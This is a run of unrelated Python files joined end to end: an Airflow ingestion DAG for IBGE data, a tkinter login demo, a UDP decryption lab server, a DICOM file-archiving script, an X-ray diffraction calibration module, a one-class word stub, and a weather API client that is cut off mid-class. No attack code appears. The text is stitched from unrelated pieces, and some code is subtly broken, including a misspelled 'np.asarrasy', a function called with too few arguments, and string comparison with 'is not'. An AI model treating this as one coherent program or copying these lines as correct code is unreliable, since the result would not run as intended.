from airflow.decorators import dag, task
from airflow.utils.dates import days_ago

import requests
import boto3

import json
from datetime import datetime, timedelta
from io import BytesIO
from os import getenv

LANDING_ZONE = getenv('LANDING_ZONE', 'landing')
IBGE_ENDPOINT = "https://servicodados.ibge.gov.br/api/v1/localidades/regioes"
FILENAME = "ibge_regions_export"
DATE_FORMAT_STR = "%Y-%m-%d"
DATETIME_FORMAT_STR = "%Y-%m-%d %H:%M:%S"

@task
def start_ibge_ingestion():
    print(f"[{datetime.now().strftime(DATETIME_FORMAT_STR)}] Started ibge_ingestion")

@task
def end_ibge_ingestion():
    print(f"[{datetime.now().strftime(DATETIME_FORMAT_STR)}] Ended ibge_ingestion")

@task.python
def extract_and_load():
    ## [START mongo collection extraction]
    res = requests.get(IBGE_ENDPOINT)

    data = res.json()
    ## [END mongo collection extraction]

    ## [START upload file into raw zone]
    now = datetime.now()
    filename = f"{FILENAME}.json"
    obj = BytesIO(
            json.dumps(
                data,
                default=str,
                indent=4,
                sort_keys=True,
                ensure_ascii=False
            ).encode("utf8")
        )

    s3_client = boto3.client("s3")
    s3_client.upload_fileobj(
        obj,
        LANDING_ZONE,
        f"ibge/regions/extract_date={now.strftime(DATE_FORMAT_STR)}/{filename}"
    )
    ## [END upload file into raw zone]

default_args = {
    'owner': 'Igor Magro',
    'depends_on_past': False,
    'email_on_failure': False,
    'email_on_retry': False,
    'retries': 1,
    'retry_delay': timedelta(minutes=10)
}

@dag(
    default_args=default_args,
    schedule_interval="10 23 * * *",
    start_date=days_ago(1),
    tags = ["ibge", "ingestion", "igti"]
)
def ibge_regions_ingestion():
    start = start_ibge_ingestion()
    extract = extract_and_load()
    end  = end_ibge_ingestion()

    start >> extract >> end

dag = ibge_regions_ingestion()


# coding=utf-8
"""
    简单登录界面实现
"""
from tkinter import *
from tkinter import messagebox
name = []
pwd = []

class Application(Frame):
    """
    MAIN APP
    """
    def __init__(self, master=None):
        super().__init__(master)
        self.master = master
        self.show_widget()
        self.pack()

    def show_widget(self):
        """登录界面"""
        label01 = Label(self, text="用户名")
        label01.pack()

        v1 = StringVar()
        self.entry01 = Entry(self, textvariable=v1)
        self.entry01.pack()

        label02 = Label(self, text="密码")
        label02.pack()

        v2 = StringVar()
        self.entry02 = Entry(self, textvariable=v2, show="*")
        self.entry02.pack()

        btn = Button(self, text="登录", command=self.login)
        btn.pack()

    def login(self):
        """登录功能"""
        name.append(self.entry01.get())
        pwd.append(self.entry02.get())

        messagebox.showinfo("登录成功！", "欢迎回来，{0}!".format(name[0]))

if __name__ == "__main__":
    master = Tk()
    master.title("登录测试！")
    master.geometry("500x300+200+100")
    app = Application(master)

    master.mainloop()
    print("用户名：{0}  密码：{1}".format(name, pwd))


import socket
import sys
import receiver
import time

def sendMsg(msgs):
    res = ''
    for msg in msgs:
        res = res + msg

    return res
# -i scp command, client

def prepdata(data):
    prev = 0
    res = []
    num = 0
    s = b''
    for i in data:
        temp = bytes([i])
        s = b''.join([s, temp])
        if num == 1:
            res.append(s)
            num = 0
            s = b''
        else:
            num = num+1

    return res

if __name__ == '__main__':
    # get the hostname
    host = socket.gethostname()
    port = 5000  # initiate port no above 1024

    receiver.dIP = socket.gethostbyname(socket.gethostname())

    server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  # get instance
    # look closely. The bind() function takes tuple as argument
    server_socket.bind((host, port))  # bind host address and port together
    print(receiver.dIP)
    receiver.dIP = receiver.processIP(receiver.dIP)
    msgs = ['','','','', '']  # 5 msgs total
    i = 0
    receiver.keys = receiver.decrypt.readKeys('../Lab4/keyall1', 'rb')
    while True:
        # receive data stream. it won't accept data packet greater than 250 bytes
        rcvdata, address = server_socket.recvfrom(250)  # accept new connection
        receiver.sIP = address
        print("Connection from: " + str(address))
        if not rcvdata:

            rcvdata, address = server_socket.recvfrom(250)
            receiver.sIP = address
            # if data is not received break
            # break
        else:
            print("from connected user: " + str(rcvdata))

            receiver.sIP = receiver.processIP(receiver.sIP[0])
            tempIP = address[0]
            # grabbing data
            receiver.data = rcvdata
            receiver.data = prepdata(receiver.data)

            receiver.f = receiver.decrypt.decrypt(receiver.data[4:], receiver.keys)
            # getting udp header
            # so_port = data[0]
            # de_port = data[1]
            receiver.udpL = receiver.data[2]
            # check = data[3]
            receiver.checksum()
            receiver.removepadding(receiver.f)

            if i == 5:
                i = 0
            msgs[i] = "\nFrom IP: {ip} at time: {t}\n".format(ip=tempIP, t=time.time())
            for x in receiver.f:
                msgs[i] = msgs[i] + x.decode("utf-8")

            data = sendMsg(msgs)
            print(data)
            i = i + 1
            test = address[1]
            test2 = str.encode(data)
            test3 = str(port)
            server_socket.sendto(str.encode(data), (tempIP, address[1]))  # send data to the client

    # conn.close()  # close the connection


from pathlib import Path
from datetime import datetime
from shutil import move

import click
import pydicom as pdcm
from tqdm import tqdm

project_dir = Path(__file__).resolve().parents[2]
default_input_folder = project_dir / "data/raw/poitier_train"
default_archive_folder = project_dir / "data/surnumerary_rtstruct/"

@click.command()
@click.argument('input_folder',
                type=click.Path(exists=True),
                default=default_input_folder)
@click.argument('archive_folder',
                type=click.Path(),
                default=default_archive_folder)
def main(input_folder, archive_folder):
    rtstruct_paths = [f for f in Path(input_folder).rglob("*RTSTRUCT*.dcm")]
    rt_data_list = [
        pdcm.read_file(f, stop_before_pixels=True)
        for f in tqdm(rtstruct_paths)
    ]
    rt_list = list(zip(rtstruct_paths, rt_data_list))
    patient_names = [f.PatientName for f in rt_data_list]
    patient_names = list(set(patient_names))
    archive_folder = Path(archive_folder)
    archive_folder.mkdir(parents=True, exist_ok=True)
    for patient_name in patient_names:
        rt_list_p = [f for f in rt_list if f[1].PatientName == patient_name]
        rt_list_p.sort(key=lambda x: get_datetime(x[1]))
        rts_to_move = rt_list_p[:-1]
        path_to_move = Path(archive_folder) / str(patient_name)
        path_to_move.mkdir(exist_ok=True)
        for r in rts_to_move:
            file_source = r[0]
            file_destination = path_to_move / file_source.name
            new_path = file_destination
            counter = 0
            while new_path.is_file():
                counter += 1
                new_path = file_destination.with_name(
                    file_destination.name.replace(file_destination.suffix, '')
                    + '(' + str(counter) + ')' + file_destination.suffix)

            move(str(file_source.resolve()), str(new_path.resolve()))

def get_datetime(s):
    return datetime.strptime(s.SeriesDate + s.SeriesTime.split('.')[0],
                             "%Y%m%d%H%M%S")

if __name__ == '__main__':
    main()


# -*- coding: utf-8 -*-
"""
Created on Tue Sep 29 14:20:48 2020

@author: berni
"""

import copy

import numpy as np

from scipy import ndimage
from scipy.integrate import nquad
from scipy.optimize import leastsq

from skimage import filters
from skimage.feature import blob_log

from hexrd.ui.calibration.calibrationutil import (
    gaussian_2d, gaussian_2d_int, sxcal_obj_func,
    __reflInfo_dtype as reflInfo_dtype
)
from hexrd.ui.utils.conversions import angles_to_cart
from hexrd.constants import fwhm_to_sigma
from hexrd.fitting.calibration import PowderCalibrator
from hexrd.transforms import xfcapi
from hexrd import xrdutil

def enrich_pick_data(picks, instr, materials):
    # add plane_data, xy points from angles...
    data_key = 'pick_xys'
    for pick_data in picks:
        # need plane data
        material_name = pick_data['material']
        plane_data = materials[material_name].planeData
        pick_data['plane_data'] = plane_data

        # now add additional data depending on pick type
        pick_dict = pick_data['picks']
        pick_type = pick_data['type']

        # loop over detectors
        pick_data[data_key] = dict.fromkeys(pick_dict)
        for det_key, panel in instr.detectors.items():
            if pick_type == 'laue':
                # need grain parameters and stacked picks
                grain_params = pick_data['options']['crystal_params']
                tth_eta_picks = pick_dict[det_key]
                if len(tth_eta_picks) == 0:
                    tth_eta_picks = np.empty((0, 2))
                    pick_data[data_key][det_key] = np.empty((0, 2))
                else:
                    # calculate cartesian coords
                    tth_eta_picks = np.vstack(tth_eta_picks)
                    xy_picks = panel.angles_to_cart(
                        np.radians(tth_eta_picks),
                        tvec_c=np.asarray(grain_params[3:6], dtype=float)
                    )
                    pick_data[data_key][det_key] = xy_picks
            elif pick_type == 'powder':
                # !!! need translation vector from overlay
                tvec_c = np.asarray(
                    pick_data['options']['tvec'], dtype=float
                ).flatten()

                # calculate cartesian coords
                # !!! uses translation vector
                pdl = []
                for ring_picks in pick_dict[det_key]:
                    if len(ring_picks) > 0:
                        xy_picks = panel.angles_to_cart(
                            np.atleast_2d(np.radians(ring_picks)),
                            tvec_c=tvec_c
                        )
                    else:
                        xy_picks = []
                    pdl.append(xy_picks)
                pick_data[data_key][det_key] = pdl

# %% CLASSES

class LaueCalibrator(object):
    calibrator_type = 'laue'
    _nparams = 12

    def __init__(self, instr, plane_data, grain_params, flags,
                 min_energy=5., max_energy=25.):
        self._instr = instr
        self._plane_data = copy.deepcopy(plane_data)
        self._plane_data.wavelength = self._instr.beam_energy  # force
        self._params = np.asarray(grain_params, dtype=float).flatten()
        assert len(self._params) == self._nparams, \
            "grain parameters must have %d elements" % self._nparams
        self._full_params = np.hstack(
            [self._instr.calibration_parameters, self._params]
        )
        assert len(flags) == len(self._full_params), \
            "flags must have %d elements; you gave %d" \
            % (len(self._full_params), len(flags))
        self._flags = flags
        self._energy_cutoffs = [min_energy, max_energy]

    @property
    def instr(self):
        return self._instr

    @property
    def plane_data(self):
        self._plane_data.wavelength = self.energy_cutoffs[-1]
        self._plane_data.exclusions = None
        return self._plane_data

    @property
    def params(self):
        return self._params

    @params.setter
    def params(self, x):
        x = np.atleast_1d(x)
        if len(x) != len(self.params):
            raise RuntimeError("params must have %d elements"
                               % len(self.params))
        self._params = x

    @property
    def full_params(self):
        return self._full_params

    @property
    def npi(self):
        return len(self._instr.calibration_parameters)

    @property
    def npe(self):
        return len(self._params)

    @property
    def flags(self):
        return self._flags

    @flags.setter
    def flags(self, x):
        x = np.atleast_1d(x)
        nparams_instr = len(self.instr.calibration_parameters)
        nparams_extra = len(self.params)
        nparams = nparams_instr + nparams_extra
        if len(x) != nparams:
            raise RuntimeError("flags must have %d elements" % nparams)
        self._flags = np.asarrasy(x, dtype=bool)
        self._instr.calibration_flags = self._flags[:nparams_instr]

    @property
    def energy_cutoffs(self):
        return self._energy_cutoffs

    @energy_cutoffs.setter
    def energy_cutoffs(self, x):
        assert len(x) == 2, "input must have 2 elements"
        assert x[1] > x[0], "first element must be < than second"
        self._energy_cutoffs = x

    def _autopick_points(self, raw_img_dict, tth_tol=5., eta_tol=5.,
                         npdiv=2, do_smoothing=True, smoothing_sigma=2,
                         use_blob_detection=True, blob_threshold=0.25,
                         fit_peaks=True, min_peak_int=1., fit_tth_tol=0.1):
        """

        Parameters
        ----------
        raw_img_dict : TYPE
            DESCRIPTION.
        tth_tol : TYPE, optional
            DESCRIPTION. The default is 5..
        eta_tol : TYPE, optional
            DESCRIPTION. The default is 5..
        npdiv : TYPE, optional
            DESCRIPTION. The default is 2.
        do_smoothing : TYPE, optional
            DESCRIPTION. The default is True.
        smoothing_sigma : TYPE, optional
            DESCRIPTION. The default is 2.
        use_blob_detection : TYPE, optional
            DESCRIPTION. The default is True.
        blob_threshold : TYPE, optional
            DESCRIPTION. The default is 0.25.
        fit_peaks : TYPE, optional
            DESCRIPTION. The default is True.

        Returns
        -------
        None.

        """
        labelStructure = ndimage.generate_binary_structure(2, 1)
        rmat_s = np.eye(3)  # !!! forcing to identity
        omega = 0.  # !!! same ^^^

        rmat_c = xfcapi.makeRotMatOfExpMap(self.params[:3])
        tvec_c = self.params[3:6]
        # vinv_s = self.params[6:12]  # !!!: patches don't take this yet

        # run simulation
        # ???: could we get this from overlays?
        laue_sim = self.instr.simulate_laue_pattern(
            self.plane_data,
            minEnergy=self.energy_cutoffs[0],
            maxEnergy=self.energy_cutoffs[1],
            rmat_s=None, grain_params=np.atleast_2d(self.params),
        )

        # loop over detectors for results
        refl_dict = dict.fromkeys(self.instr.detectors)
        for det_key, det in self.instr.detectors.items():
            det_config = det.config_dict(
                chi=self.instr.chi,
                tvec=self.instr.tvec,
                beam_vector=self.instr.beam_vector
            )

            xy_det, hkls, angles, dspacing, energy = laue_sim[det_key]
            '''
            valid_xy = []
            valid_hkls = []
            valid_angs = []
            valid_energy = []
            '''
            # !!! not necessary to loop over grains since we can only handle 1
            # for gid in range(len(xy_det)):
            gid = 0
            # find valid reflections
            valid_refl = ~np.isnan(xy_det[gid][:, 0])
            valid_xy = xy_det[gid][valid_refl, :]
            valid_hkls = hkls[gid][:, valid_refl]
            valid_angs = angles[gid][valid_refl, :]
            valid_energy = energy[gid][valid_refl]
            # pass

            # make patches
            refl_patches = xrdutil.make_reflection_patches(
                det_config,
                valid_angs, det.angularPixelSize(valid_xy),
                rmat_c=rmat_c, tvec_c=tvec_c,
                tth_tol=tth_tol, eta_tol=eta_tol,
                npdiv=npdiv, quiet=True)

            reflInfoList = []
            img = raw_img_dict[det_key]
            native_area = det.pixel_area
            num_patches = len(valid_angs)
            meas_xy = np.nan*np.ones((num_patches, 2))
            meas_angs = np.nan*np.ones((num_patches, 2))
            for iRefl, patch in enumerate(refl_patches):
                # check for overrun
                irow = patch[-1][0]
                jcol = patch[-1][1]
                if np.any([irow < 0, irow >= det.rows,
                           jcol < 0, jcol >= det.cols]):
                    continue
                if not np.all(
                        det.clip_to_panel(
                            np.vstack([patch[1][0].flatten(),
                                       patch[1][1].flatten()]).T
                            )[1]
                        ):
                    continue
                # use nearest interpolation
                spot_data = img[irow, jcol] * patch[3] * npdiv**2 / native_area
                spot_data -= np.amin(spot_data)
                patch_size = spot_data.shape

                sigmax = 0.25*np.min(spot_data.shape) * fwhm_to_sigma

                # optional gaussian smoothing
                if do_smoothing:
                    spot_data = filters.gaussian(spot_data, smoothing_sigma)

                if use_blob_detection:
                    spot_data_scl = 2.*spot_data/np.max(spot_data) - 1.

                    # Compute radii in the 3rd column.
                    blobs_log = blob_log(spot_data_scl,
                                         min_sigma=2,
                                         max_sigma=min(sigmax, 20),
                                         num_sigma=10,
                                         threshold=blob_threshold,
                                         overlap=0.1)
                    numPeaks = len(blobs_log)
                else:
                    labels, numPeaks = ndimage.label(
                        spot_data > np.percentile(spot_data, 99),
                        structure=labelStructure
                    )
                    slabels = np.arange(1, numPeaks + 1)
                tth_edges = patch[0][0][0, :]
                eta_edges = patch[0][1][:, 0]
                delta_tth = tth_edges[1] - tth_edges[0]
                delta_eta = eta_edges[1] - eta_edges[0]
                if numPeaks > 0:
                    peakId = iRefl
                    if use_blob_detection:
                        coms = blobs_log[:, :2]
                    else:
                        coms = np.array(
                            ndimage.center_of_mass(
                                spot_data, labels=labels, index=slabels
                                )
                            )
                    if numPeaks > 1:
                        #
                        center = np.r_[spot_data.shape]*0.5
                        com_diff = coms - np.tile(center, (numPeaks, 1))
                        closest_peak_idx = np.argmin(
                            np.sum(com_diff**2, axis=1)
                        )
                        #
                    else:
                        closest_peak_idx = 0
                        pass   # end multipeak conditional
                    #
                    coms = coms[closest_peak_idx]
                    #
                    if fit_peaks:
                        sigm = 0.2*np.min(spot_data.shape)
                        if use_blob_detection:
                            sigm = min(blobs_log[closest_peak_idx, 2], sigm)
                        y0, x0 = coms.flatten()
                        ampl = float(spot_data[int(y0), int(x0)])
                        # y0, x0 = 0.5*np.array(spot_data.shape)
                        # ampl = np.max(spot_data)
                        a_par = c_par = 0.5/float(sigm**2)
                        b_par = 0.
                        bgx = bgy = 0.
                        bkg = np.min(spot_data)
                        params = [ampl,
                                  a_par, b_par, c_par,
                                  x0, y0, bgx, bgy, bkg]
                        #
                        result = leastsq(gaussian_2d, params, args=(spot_data))
                        #
                        fit_par = result[0]
                        #
                        coms = np.array([fit_par[5], fit_par[4]])
                        '''
                        print("%s, %d, (%.2f, %.2f), (%d, %d)"
                              % (det_key, iRefl, coms[0], coms[1],
                                 patch_size[0], patch_size[1]))
                        '''
                        row_cen = fit_tth_tol * patch_size[0]
                        col_cen = fit_tth_tol * patch_size[1]
                        if np.any(
                            [coms[0] < row_cen,
                             coms[0] >= patch_size[0] - row_cen,
                             coms[1] < col_cen,
                             coms[1] >= patch_size[1] - col_cen]
                        ):
                            continue
                        if (fit_par[0] < min_peak_int):
                            continue

                        # intensities
                        spot_intensity, int_err = nquad(
                            gaussian_2d_int,
                            [[0., 2.*y0], [0., 2.*x0]],
                            args=fit_par)
                        pass
                    com_angs = np.hstack([
                        tth_edges[0] + (0.5 + coms[1])*delta_tth,
                        eta_edges[0] + (0.5 + coms[0])*delta_eta
                        ])

                    # grab intensities
                    if not fit_peaks:
                        if use_blob_detection:
                            spot_intensity = 10
                            max_intensity = 10
                        else:
                            spot_intensity = np.sum(
                                spot_data[labels == slabels[closest_peak_idx]]
                            )
                            max_intensity = np.max(
                                spot_data[labels == slabels[closest_peak_idx]]
                            )
                    else:
                        max_intensity = np.max(spot_data)
                    # need xy coords
                    # !!! forcing ome = 0. -- could be inconsistent with rmat_s
                    cmv = np.atleast_2d(np.hstack([com_angs, omega]))
                    gvec_c = xfcapi.anglesToGVec(
                        cmv,
                        chi=self.instr.chi,
                        rMat_c=rmat_c,
                        bHat_l=self.instr.beam_vector)
                    new_xy = xfcapi.gvecToDetectorXY(
                        gvec_c,
                        det.rmat, rmat_s, rmat_c,
                        det.tvec, self.instr.tvec, tvec_c,
                        beamVec=self.instr.beam_vector)
                    meas_xy[iRefl, :] = new_xy
                    if det.distortion is not None:
                        meas_xy[iRefl, :] = det.distortion.apply_inverse(
                            meas_xy[iRefl, :]
                        )
                    meas_angs[iRefl, :] = com_angs
                else:
                    peakId = -999
                    #
                    spot_intensity = np.nan
                    max_intensity = np.nan
                    pass
                reflInfoList.append([peakId, valid_hkls[:, iRefl],
                                     (spot_intensity, max_intensity),
                                     valid_energy[iRefl],
                                     valid_angs[iRefl, :],
                                     meas_angs[iRefl, :],
                                     meas_xy[iRefl, :]])
                pass
            reflInfo = np.array(
                [tuple(i) for i in reflInfoList],
                dtype=reflInfo_dtype)
            refl_dict[det_key] = reflInfo

        # !!! ok, here is where we would populated the data_dict from refl_dict
        return refl_dict

    def _evaluate(self, reduced_params, data_dict):
        """
        """
        # first update instrument from input parameters
        full_params = np.asarray(self.full_params)
        full_params[self.flags] = reduced_params

        self.instr.update_from_parameter_list(full_params[:self.npi])
        self.params = full_params[self.npi:]

        # grab reflection data from picks input
        pick_hkls_dict = dict.fromkeys(self.instr.detectors)
        pick_xys_dict = dict.fromkeys(self.instr.detectors)
        for det_key in self.instr.detectors:
            # find valid reflections and recast hkls to int
            xys = data_dict['pick_xys'][det_key]
            hkls = np.asarray(data_dict['hkls'][det_key], dtype=int)

            valid_idx = ~np.isnan(xys[:, 0])

            # fill local dicts
            pick_hkls_dict[det_key] = np.atleast_2d(hkls[valid_idx, :]).T
            pick_xys_dict[det_key] = np.atleast_2d(xys[valid_idx, :])

        return pick_hkls_dict, pick_xys_dict

    def residual(self, reduced_params, data_dict):
        # need this for laue obj
        bmatx = self.plane_data.latVecOps['B']
        pick_hkls_dict, pick_xys_dict = self._evaluate(
            reduced_params, data_dict
        )
        # munge energy cutoffs
        energy_cutoffs = np.r_[0.5, 1.5] * np.asarray(self.energy_cutoffs)

        return sxcal_obj_func(
            reduced_params, self.full_params, self.flags,
            self.instr, pick_xys_dict, pick_hkls_dict,
            bmatx, energy_cutoffs
        )

    def model(self, reduced_params, data_dict):
        # need this for laue obj
        bmatx = self.plane_data.latVecOps['B']
        pick_hkls_dict, pick_xys_dict = self._evaluate(
            reduced_params, data_dict,
        )

        return sxcal_obj_func(
            reduced_params, self.full_params, self.flags,
            self.instr, pick_xys_dict, pick_hkls_dict,
            bmatx, self.energy_cutoffs,
            sim_only=True
        )

class CompositeCalibration(object):
    def __init__(self, instr, processed_picks, img_dict):
        self.instr = instr
        self.original_instr = copy.deepcopy(instr)
        self.npi = len(self.instr.calibration_parameters)
        self.data = processed_picks
        calibrator_list = []
        params = []
        param_flags = []
        for pick_data in processed_picks:
            if pick_data['type'] == 'powder':
                # flags for calibrator
                lpflags = [i[1] for i in pick_data['refinements']]
                flags = np.hstack(
                    [self.instr.calibration_flags, lpflags]
                )
                param_flags.append(lpflags)

                kwargs = {
                    'instr': self.instr,
                    'plane_data': pick_data['plane_data'],
                    'img_dict': img_dict,
                    'flags': flags,
                    'tth_distortion': pick_data['tth_distortion'],
                }
                calib = PowderCalibrator(**kwargs)

                params.append(calib.full_params[-calib.npe:])
                calibrator_list.append(calib)

            elif pick_data['type'] == 'laue':
                # flags for calibrator
                gparams = pick_data['options']['crystal_params']
                min_energy = pick_data['options']['min_energy']
                max_energy = pick_data['options']['max_energy']

                gpflags = [i[1] for i in pick_data['refinements']]
                flags = np.hstack(
                    [self.instr.calibration_flags, gpflags]
                )
                param_flags.append(gpflags)
                calib = LaueCalibrator(
                    self.instr, pick_data['plane_data'],
                    gparams, flags,
                    min_energy=min_energy, max_energy=max_energy
                )
                params.append(calib.full_params[-calib.npe:])
                calibrator_list.append(calib)

        self.calibrators = calibrator_list
        self.params = np.hstack(params)
        self.param_flags = np.hstack(param_flags)
        self.full_params = np.hstack(
            [self.instr.calibration_parameters, self.params]
        )
        self.flags = np.hstack(
            [self.instr.calibration_flags, self.param_flags]
        )

    def reduced_params(self):
        return self.full_params[self.flags]

    def residual(self, reduced_params, pick_data_list):
        # first update a copy of the full parameter list
        full_params = np.array(self.full_params)
        full_params[self.flags] = reduced_params
        instr_params = full_params[:self.npi]
        addtl_params = full_params[self.npi:]

        def powder_residual(calib, these_reduced_params, data_dict):
            # Convert our data_dict into the input data format that
            # the powder calibrator is expecting.
            calibration_data = {}
            for det_key in data_dict['hkls']:
                # MUST use original instrument to convert these coordinates
                # so that we are consistent. This is because the instrument
                # gets modified with each call to `residual()`.
                panel = self.original_instr.detectors[det_key]

                picks_list = []
                for i, hkl in enumerate(data_dict['hkls'][det_key]):
                    picks = data_dict['picks'][det_key][i]
                    if not picks:
                        continue

                    # Each row consists of 8 columns:
                    # First two are measured x, y
                    # Third is unknown (appears unused in the PowderCalibrator)
                    # Four - six are the hkl indices
                    # Seven and Eight are unknown (appears unused here)

                    # We are going to convert our data into rows of 6 columns.
                    # We will fill in zero for the third column, and ignore
                    # the last two columns.

                    # Convert the angles to Cartesian
                    cartesian_picks = angles_to_cart(picks, panel)
                    repeated_zero = np.repeat([[0]], len(cartesian_picks),
                                              axis=0)
                    repeated_hkl = np.repeat([hkl], len(cartesian_picks),
                                             axis=0)
                    formatted = np.hstack((cartesian_picks, repeated_zero,
                                           repeated_hkl))
                    picks_list.append(formatted)

                calibration_data[det_key] = picks_list

            return calib.residual(these_reduced_params, calibration_data)

        def laue_residual(calib, these_reduced_params, data_dict):
            return calib.residual(these_reduced_params, data_dict)

        residual_funcs = {
            PowderCalibrator: powder_residual,
            LaueCalibrator: laue_residual,
        }

        # loop calibrators and collect residuals
        ii = 0
        residual = []
        for ical, calib in enumerate(self.calibrators):
            # make copy offull params for this calibrator
            these_full_params = np.hstack(
                [instr_params, addtl_params[ii:ii + calib.npe]]
            )

            # pull out reduced list
            these_reduced_params = these_full_params[calib.flags]

            # call to calibrator residual api with proper index into pick data
            f = residual_funcs[type(calib)]
            residual.append(
                f(calib, these_reduced_params, pick_data_list[ical])
            )

            # advance alibrator extra parameter offset
            ii += calib.npe

        # return single hstacked residual
        return np.hstack(residual)

def run_calibration(picks, instr, img_dict, materials):
    enrich_pick_data(picks, instr, materials)

    # Run composite calibration
    instr_calibrator = CompositeCalibration(instr, picks, img_dict)

    x0_comp = instr_calibrator.reduced_params()

    # Compute resd0, as hexrd does
    resd0 = instr_calibrator.residual(x0_comp, picks)  # noqa: F841

    x1, cox_x, infodict, mesg, ierr = leastsq(
                        instr_calibrator.residual, x0_comp, args=(picks, ),
                        full_output=True
                )

    # Evaluate new residual
    # This will update the parameters
    resd1 = instr_calibrator.residual(x1, picks)  # noqa: F841

    return instr_calibrator

if __name__ == '__main__':

    import json
    import pickle as pkl

    # %% grab serialiazed objects
    instr = pkl.load(open('instrument.pkl', 'rb'))

    with open('calibration_picks.json', 'r') as f:
        picks = json.load(f)

    material_names = [x['material'] for x in picks]
    materials = {x: pkl.load(open(f'{x}.pkl', 'rb')) for x in material_names}

    # instrument parameter flags
    # !!! these come from the GUI tree view
    iflags = np.array(
        [0,
         1, 1,
         0,
         0, 0, 0,
         0, 0, 1, 1, 1, 1,
         0, 0, 0, 1, 1, 1],
        dtype=bool
    )
    instr.calibration_flags = iflags  # update instrument

    instr_calibrator = run_calibration(picks, instr, materials)
    instr.write_config('new-instrument-comp.yml')

    # %%
    """
    Now we just need to update the values in the GUI; the instrument class is
    updated already, can just grab its parameter dict
    The powder and laue parameters can be lifted from the corresp classes
    """
    for ical, cal_class in enumerate(instr_calibrator.calibrators):
        pnames = ['{:>24s}'.format(i[0]) for i in picks[ical]['refinements']]
        print("calibrator type: %s" % cal_class.calibrator_type)
        print("refined parameters:")
        for pname, param in zip(pnames, cal_class.params):
            print("\t%s = %.7e" % (pname, param))


from xai.brain.wordbase.nouns._eel import _EEL

#calss header
class _EELS(_EEL, ):
	def __init__(self,):
		_EEL.__init__(self)
		self.name = "EELS"
		self.specie = 'nouns'
		self.basic = "eel"
		self.jsondata = {}


import datetime
import requests
import os

APPID = os.getenv('WEATHER_API_KEY')  # free API key given after registration
MAX_DAYS_FORECAST = 5  # for free accounts

class WeatherParams:

    # URI
    API_BASE_URI = 'http://api.openweathermap.org/data/2.5/'
    API_WEATHER_NOW = 'weather'
    API_WEATHER_FORECAST = 'forecast'
    # data structure
    MODE = 'json'
    # accepted units
    UNITS = ['metric', 'imperial']
    # weather attributes
    INFO = [['weather', 'description'],
            ['main', 'temp'],
            ['main', 'humidity'],
            ['main', 'pressure'],
            ['wind', 'speed'],
            ['clouds', 'all'],
            ['rain', '1h'],
            ['rain', '3h'],
            ['snow', '1h'],
            ['snow', '3h'],
            ['sys', 'sunrise'],
            ['sys', 'sunset'],
            ['visibility'],
            ['main', 'temp_min'],
            ['main', 'temp_max']]
    # coefficient for meter/mile conversion
    MILE_COEF = 0.0006213712
    # m/s to km/h coef
    M_TO_KM_COEF = 3.6

def weather_forecast(city, country='', last_day=datetime.datetime.strftime(datetime.datetime.today() +
                                                                           datetime.timedelta(days=5), "%Y-%m-%d"),
                     units=WeatherParams.UNITS[0]):
    if not isinstance(city, str):
        return False
    if country is not None:
        if not isinstance(country, str):
            return False
    if last_day is None:
        return False
    if not isinstance(last_day, str):
        return False
    if not isinstance(units, str) or units not in WeatherParams.UNITS:
        u = WeatherParams.UNITS[0]
    else:
        u = units.lower()
    try:
        date = datetime.datetime.strptime(last_day, "%Y-%m-%d") + datetime.timedelta(days=1)
    except ValueError:
        return False
    date_now = datetime.datetime.today()
    if (date - date_now).days > MAX_DAYS_FORECAST or (date - date_now).days < 0:
        return False
    data = WeatherData(city, country, WeatherParams.API_WEATHER_FORECAST, u)
    if data.get_list_data() is None:
        return False
    return WeatherForecast(data.get_list_data(), city, country, datetime.datetime.strftime(date, "%Y-%m-%d"), u)

def current_weather(city, country='', units=WeatherParams.UNITS[0]):
    if not isinstance(city, str):
        return False
    if country is not None:
        if not isinstance(country, str):
            return False
    if not isinstance(units, str) or units not in WeatherParams.UNITS:
        u = WeatherParams.UNITS[0]
    else:
        u = units.lower()
    data = WeatherData(city, country, WeatherParams.API_WEATHER_NOW, u)
    if data.get_json_data() is None:
        return False
    date = datetime.datetime.fromtimestamp(data.get_json_data()['dt'])
    date = datetime.datetime.strftime(date, "%Y-%m-%d %H:%M:%S")
    return CurrentWeather(data.get_json_data(), city, country, date.split(' ')[0], date.split(' ')[1], u)

class WeatherData:

    SUCCESS_API_RESPONSE = 200

    def __init__(self, city, country, method, units):
        self._city = city
        self._country = ', ' + country if country != '' else ''
        self._method = method
        self._units = units
        self._json_response = None
        self.api_weather_call()

    def api_weather_call(self):
        response = requests.get(WeatherParams.API_BASE_URI + self._method,
                                params={'q': self._city + self._country,
                                        'APPID': APPID,
                                        'mode': WeatherParams.MODE,
                                        'units': self._units})
        if response.status_code == self.SUCCESS_API_RESPONSE:
            self._json_response = response.json()

    def get_json_data(self):
        return self._json_response

    def get_list_data(self):
        if self._json_response is not None:
            return self._json_response['list']
        return None

class CurrentWeather:

    def __init__(self, weather_info, city, country, day, time, units):
        self._weather = weather_info
        self._city = city
        self._country = country
        self._weather_day = day
        self._weather_time = time
        self._units = units

    def get_json_result(self):
        return self._weather

    @property
    def day(self):
        return self._weather_day

    @property
    def time(self):
        return self._weather_time

    @property
    def place(self):
        return self._city + (', ' + self._country if self._country is not '' else '')

    @property
    def units(self):
        return self._units

    def _get_weather_attr(self, attr):
        try:
            return self._weather[attr[0]][attr[1]]
        except KeyError:
            return ''

    @property
    def weather_description(self):
        try:
            return self._weather[WeatherParams.INFO[0][0]][0][WeatherParams.INFO[0][1]]
        except KeyError:
            return ''

    @property
    def main_temp(self):
        return self._get_weather_attr(WeatherParams.INFO[1])

    @property
    def humidity(self):
        return self._get_weather_attr(WeatherParams.INFO[2])

    @property
    def pressure(self):
        return self._get_weather_attr(WeatherParams.INFO[3])

    @property
    def wind_speed(self):
        return self._get_weather_attr(WeatherParams.INFO[4])

    @property
    def wind_speed_km(self):
        if self.units == WeatherParams.UNITS[0]:
            return self._get_weather_attr(WeatherParams.INFO[4]) * WeatherParams.M_TO_KM_COEF

    @property
    def clouds(self):
        return self._get_weather_attr(WeatherParams.INFO[5])

    @property
    def rain_last_hour(self):
        return self._get_weather_attr(WeatherParams.INFO[6])

    @property
    def rain_last_3_hours(self):
        return self._get_weather_attr(WeatherParams.INFO[7])

    @property
    def snow_last_hour(self):
        return self._get_weather_attr(WeatherParams.INFO[8])

    @property
    def snow_last_3_hours(self):
        return self._get_weather_attr(WeatherParams.INFO[9])

    @property
    def sunrise(self):
        return self._get_weather_attr(WeatherParams.INFO[10])

    @property
    def sunset(self):
        return self._get_weather_attr(WeatherParams.INFO[11])

    @property
